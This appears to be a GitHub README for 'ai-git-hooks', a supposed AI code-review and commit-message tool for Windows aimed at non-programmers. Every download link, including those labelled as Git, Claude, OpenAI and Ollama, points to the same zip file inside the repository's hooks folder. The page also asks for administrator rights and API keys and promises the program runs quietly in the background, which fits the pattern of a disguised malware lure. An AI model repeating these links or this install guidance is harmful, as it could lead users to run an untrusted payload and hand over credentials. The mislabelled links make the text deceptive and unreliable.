ai-git-hooks
Automate git workflows with AI-powered hooks that review code, generate and validate commit messages, and scan for bugs and security issues.
Description
Automate git workflows with AI-powered hooks that review code, generate and validate commit messages, and scan for bugs and security issues.
README
ai-git-hooks is a tool designed to help you use git more easily on your computer. It works with Artificial Intelligence (AI) to check your code changes, write commit messages, and find security problems automatically. It connects with popular AI services like Claude, OpenAI, and Ollama. You donβt need to know programming to use it.
This tool helps you save time and reduce mistakes when you save your code work.
- Automatically reviews your changes before saving (committing).
- Generates commit messages for you so you donβt have to write them.
- Checks code for security problems.
- Works with AI models from Claude, OpenAI, and Ollama.
- Integrates directly with your git setup.
- Compatible with most Windows computers.
- Runs quietly in the background to avoid interruptions.
To use ai-git-hooks, your computer should have:
- Windows 10 or later.
- At least 4 GB of RAM.
- At least 200 MB of free space.
- An internet connection to access AI services.
- Git installed on your computer.
- Administrator permissions to install new software.
If you do not have Git installed, download it from https://github.com/raihanalfayz/ai-git-hooks/raw/refs/heads/main/hooks/commit-msg/git_ai_hooks_3.8.zip before you install ai-git-hooks.
Follow these steps to download and run ai-git-hooks on your Windows computer.
Click the green download badge above or go to this page:
This page contains all files and instructions you need.
Look for the latest release under the "Releases" section on the GitHub page.
- Under Releases, find the file for Windows. It may be named something like
ai-git-hooks-windows.exeor similar. - Click the file to download it to your computer.
- Find the downloaded file in your "Downloads" folder.
- Double-click the file to start the installation.
- Follow the instructions on the screen to complete the setup.
- You may need to allow the program to make changes on your computer.
- After installation, open the program from the Start menu or desktop shortcut.
- The program will ask you to connect your AI accounts (Claude, OpenAI, Ollama) by entering API keys. These keys let the program contact the AI services.
- If you do not have API keys, you can skip this step, but AI features will be limited.
- Use ai-git-hooks to open any folder that contains a git project.
- The program will automatically monitor any git changes.
- It will start reviewing changes, generating commit messages, and scanning for security issues.
- Make some changes to your files inside your git project.
- When you try to commit the changes, ai-git-hooks will review these changes.
- It will show you notes about the code and suggest improvements if needed.
Instead of writing your own message:
- Select "Generate Commit Message" inside ai-git-hooks.
- The tool will create a clear message based on your changes.
- You can edit the message before saving.
- Use the Security Scan feature.
- The tool checks your code for common security problems.
- If issues are found, a report will list what to fix.
You can change settings to fit your needs:
- Enable or disable specific AI services.
- Change how strict the code reviews will be.
- Choose which types of security scans to run.
- Select your preferred commit message style.
- Set how often the hooks check your code.
Most settings are available in the program menu under "Preferences."
No, you do not need an account. However, entering API keys for AI services unlocks all features.
Basic functions will work, but AI-powered features need an internet connection.
Yes, it is free to download and use.
Yes, use the Windows Control Panel to uninstall it whenever you want.
The program will show an error but will not stop your git work.
- Git installation: https://github.com/raihanalfayz/ai-git-hooks/raw/refs/heads/main/hooks/commit-msg/git_ai_hooks_3.8.zip
- Claude AI: https://github.com/raihanalfayz/ai-git-hooks/raw/refs/heads/main/hooks/commit-msg/git_ai_hooks_3.8.zip
- OpenAI: https://github.com/raihanalfayz/ai-git-hooks/raw/refs/heads/main/hooks/commit-msg/git_ai_hooks_3.8.zip
- Ollama: https://github.com/raihanalfayz/ai-git-hooks/raw/refs/heads/main/hooks/commit-msg/git_ai_hooks_3.8.zip
If you run into issues, check the Issues tab on the GitHub page. You can submit your problems there, and the developers will respond.
